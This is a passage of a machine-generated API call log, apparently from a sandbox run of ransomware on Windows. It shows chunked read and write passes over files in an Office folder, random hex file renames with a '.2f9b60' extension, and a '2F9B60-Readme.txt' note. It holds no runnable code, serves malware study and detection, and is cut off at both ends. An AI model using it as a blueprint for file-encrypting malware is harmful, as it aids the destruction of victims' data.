Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.664] WriteFile (in: hFile=0x354, lpBuffer=0x41f085a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22acf620, lpOverlapped=0x0 | out: lpBuffer=0x41f085a0*, lpNumberOfBytesWritten=0x22acf620*=0x3c00, lpOverlapped=0x0) returned 1 [0114.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f085a0) returned 1 [0114.669] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.669] ReadFile (in: hFile=0x354, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22acf620, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x22acf620*=0x3c00, lpOverlapped=0x0) returned 1 [0114.671] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f085a0 [0114.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621e0) returned 1 [0114.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.672] WriteFile (in: hFile=0x354, lpBuffer=0x41f085a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22acf620, lpOverlapped=0x0 | out: lpBuffer=0x41f085a0*, lpNumberOfBytesWritten=0x22acf620*=0x3c00, lpOverlapped=0x0) returned 1 [0148.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f085a0) returned 1 [0148.078] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1cba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.078] ReadFile (in: hFile=0x354, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22acf620, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x22acf620*=0x3c00, lpOverlapped=0x0) returned 1 [0148.079] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1cba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0148.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0148.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0148.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6770) returned 1 [0148.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f085a0 [0148.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0148.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ad0 [0148.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ad0) returned 1 [0148.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0148.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0148.080] WriteFile (in: hFile=0x354, lpBuffer=0x41f085a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22acf620, lpOverlapped=0x0 | out: lpBuffer=0x41f085a0*, lpNumberOfBytesWritten=0x22acf620*=0x3c00, lpOverlapped=0x0) returned 1 [0171.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f085a0) returned 1 [0171.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15450 [0171.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6770) returned 1 [0171.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0171.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9280) returned 1 [0171.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2a520) returned 1 [0171.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0171.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059dd0 [0171.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8670c0 [0171.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c80 [0171.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c80) returned 1 [0171.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c80 [0171.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0171.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8cb0 [0171.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8cb0) returned 1 [0171.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0171.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0171.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebc820 [0171.066] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.066] WriteFile (in: hFile=0x354, lpBuffer=0x1cebc820*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x22acf6d0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc820*, lpNumberOfBytesWritten=0x22acf6d0*=0x144, lpOverlapped=0x0) returned 1 [0181.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0181.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0181.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0181.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0181.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0181.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0181.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0181.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0181.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0181.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85a0f0 [0181.028] sprintf (in: _Dest=0x1b85a0f0, _Format="%c%c" | out: _Dest="e7") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0f2, _Format="%c%c" | out: _Dest="85") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0f4, _Format="%c%c" | out: _Dest="f3") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0f6, _Format="%c%c" | out: _Dest="84") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0f8, _Format="%c%c" | out: _Dest="47") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0fa, _Format="%c%c" | out: _Dest="b1") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0fc, _Format="%c%c" | out: _Dest="31") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a0fe, _Format="%c%c" | out: _Dest="08") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a100, _Format="%c%c" | out: _Dest="e6") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a102, _Format="%c%c" | out: _Dest="36") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a104, _Format="%c%c" | out: _Dest="90") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a106, _Format="%c%c" | out: _Dest="9f") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a108, _Format="%c%c" | out: _Dest="e1") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a10a, _Format="%c%c" | out: _Dest="ee") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a10c, _Format="%c%c" | out: _Dest="d3") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a10e, _Format="%c%c" | out: _Dest="12") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a110, _Format="%c%c" | out: _Dest="69") returned 2 [0181.029] sprintf (in: _Dest=0x1b85a112, _Format="%c%c" | out: _Dest="6d") returned 2 [0181.029] RtlInitAnsiString (in: DestinationString=0x22acf748, SourceString="e785f38447b13108e636909fe1eed312696d" | out: DestinationString="e785f38447b13108e636909fe1eed312696d") [0181.029] RtlAnsiStringToUnicodeString (in: DestinationString=0x22acf718, SourceString="e785f38447b13108e636909fe1eed312696d", AllocateDestinationString=1 | out: DestinationString="e785f38447b13108e636909fe1eed312696d") returned 0x0 [0181.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced5e00 [0181.030] RtlFreeAnsiString (AnsiString="e") [0181.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0181.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0181.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0181.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc820) returned 1 [0181.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c80) returned 1 [0181.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e30) returned 1 [0181.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9280) returned 1 [0181.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15450) returned 1 [0181.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9250) returned 1 [0181.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9370) returned 1 [0181.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a93d0) returned 1 [0181.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1ced3190 [0181.035] wcscat (in: _Dest=0x1ced3190, _Source="e785f3844" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\e785f3844") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\e785f3844" [0181.035] wcscat (in: _Dest=0x1ced3190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\e785f3844.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\e785f3844.2f9b60" [0181.035] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\e785f3844.2f9b60", NtPathName=0x22acf6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\e785f3844.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050d420 [0188.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0188.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291690) returned 1 [0188.375] NtQueryInformationFile (in: FileHandle=0x354, IoStatusBlock=0x22acf758, FileInformation=0x22acf768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22acf758, FileInformation=0x22acf768) returned 0x0 [0188.375] NtSetInformationFile (FileHandle=0x354, IoStatusBlock=0x22acf758, FileInformation=0x22acf768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3190) returned 1 [0203.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5e00) returned 1 [0203.864] FlushFileBuffers (hFile=0x354) returned 1 [0204.256] CloseHandle (hObject=0x354) returned 1 [0208.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506a90 [0208.277] wcscpy (in: _Dest=0x20506a90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0208.277] wcscat (in: _Dest=0x20506a90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0208.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0208.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506a90) returned 1 [0208.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5bb0) returned 1 Thread: id = 1208 os_tid = 0xd54 [0114.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 0x20 [0114.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE", dwFileAttributes=0x20) returned 1 [0114.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x460 [0114.626] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3571fb80 | out: lpFileSize=0x3571fb80*=122280) returned 1 [0114.626] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x1dda4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.626] ReadFile (in: hFile=0x460, lpBuffer=0x3571fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3571fb48, lpOverlapped=0x0 | out: lpBuffer=0x3571fb00*, lpNumberOfBytesRead=0x3571fb48*=0x4, lpOverlapped=0x0) returned 1 [0114.643] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0114.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9340 [0114.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.643] NtQuerySystemTime (in: CurrentTime=0x3571fa40 | out: CurrentTime=0x3571fa40*=132462177200962000) returned 0x0 [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0xf9bfaa7 [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x50373d68 [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x53f3c1ff [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x67faf3ff [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x57246acb [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x4ecd5df9 [0114.643] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x4eb59c5c [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x1bcdcd04 [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x3cf6396b [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x9e62cd4 [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x17992ff9 [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x434bbccf [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x58bae6be [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x49a1ab53 [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x4265a315 [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x17880526 [0114.647] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x7be10ed5 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x4ad13183 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x437ac79a [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x4a541405 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x555cb4ef [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0xc678bfd [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x7bd5178e [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x5118082 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x5c1dae68 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x20b827f8 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x758f6436 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x29334b2d [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x41b7e1cb [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0xabee3d5 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x5bafc081 [0114.648] RtlRandomEx (in: Seed=0x3571fa30 | out: Seed=0x3571fa30) returned 0x3e93fac8 [0114.661] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.661] ReadFile (in: hFile=0x460, lpBuffer=0x41c2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3571faa0, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesRead=0x3571faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.666] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9220) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f0c1b0 [0114.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0114.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.667] WriteFile (in: hFile=0x460, lpBuffer=0x41f0c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3571faa0, lpOverlapped=0x0 | out: lpBuffer=0x41f0c1b0*, lpNumberOfBytesWritten=0x3571faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f0c1b0) returned 1 [0147.896] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.896] ReadFile (in: hFile=0x460, lpBuffer=0x41c2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3571faa0, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesRead=0x3571faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.009] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0148.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0148.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0148.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0148.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0148.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0148.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.010] WriteFile (hFile=0x460, lpBuffer=0x41e84990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3571faa0, lpOverlapped=0x0) [0179.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0179.916] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x1a1a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.916] ReadFile (in: hFile=0x460, lpBuffer=0x41c2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3571faa0, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesRead=0x3571faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.024] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x1a1a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee20 [0182.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ee20) returned 1 [0182.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4301d540 [0182.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee20 [0182.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee50 [0182.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ee50) returned 1 [0182.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.028] WriteFile (in: hFile=0x460, lpBuffer=0x4301d540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3571faa0, lpOverlapped=0x0 | out: lpBuffer=0x4301d540*, lpNumberOfBytesWritten=0x3571faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4301d540) returned 1 [0198.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f910 [0198.756] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.757] WriteFile (in: hFile=0x460, lpBuffer=0x1cebde70*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3571fb50, lpOverlapped=0x0 | out: lpBuffer=0x1cebde70*, lpNumberOfBytesWritten=0x3571fb50*=0x146, lpOverlapped=0x0) returned 1 [0203.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8440 [0203.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8440) returned 1 [0203.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f120 [0203.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8440 [0203.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a83e0 [0203.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a83e0) returned 1 [0203.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e0f0 [0203.695] sprintf (in: _Dest=0x1ce5e0f0, _Format="%c%c" | out: _Dest="76") returned 2 [0203.695] sprintf (in: _Dest=0x1ce5e0f2, _Format="%c%c" | out: _Dest="b6") returned 2 [0203.695] sprintf (in: _Dest=0x1ce5e0f4, _Format="%c%c" | out: _Dest="ef") returned 2 [0203.695] sprintf (in: _Dest=0x1ce5e0f6, _Format="%c%c" | out: _Dest="41") returned 2 [0203.695] sprintf (in: _Dest=0x1ce5e0f8, _Format="%c%c" | out: _Dest="01") returned 2 [0203.696] sprintf (in: 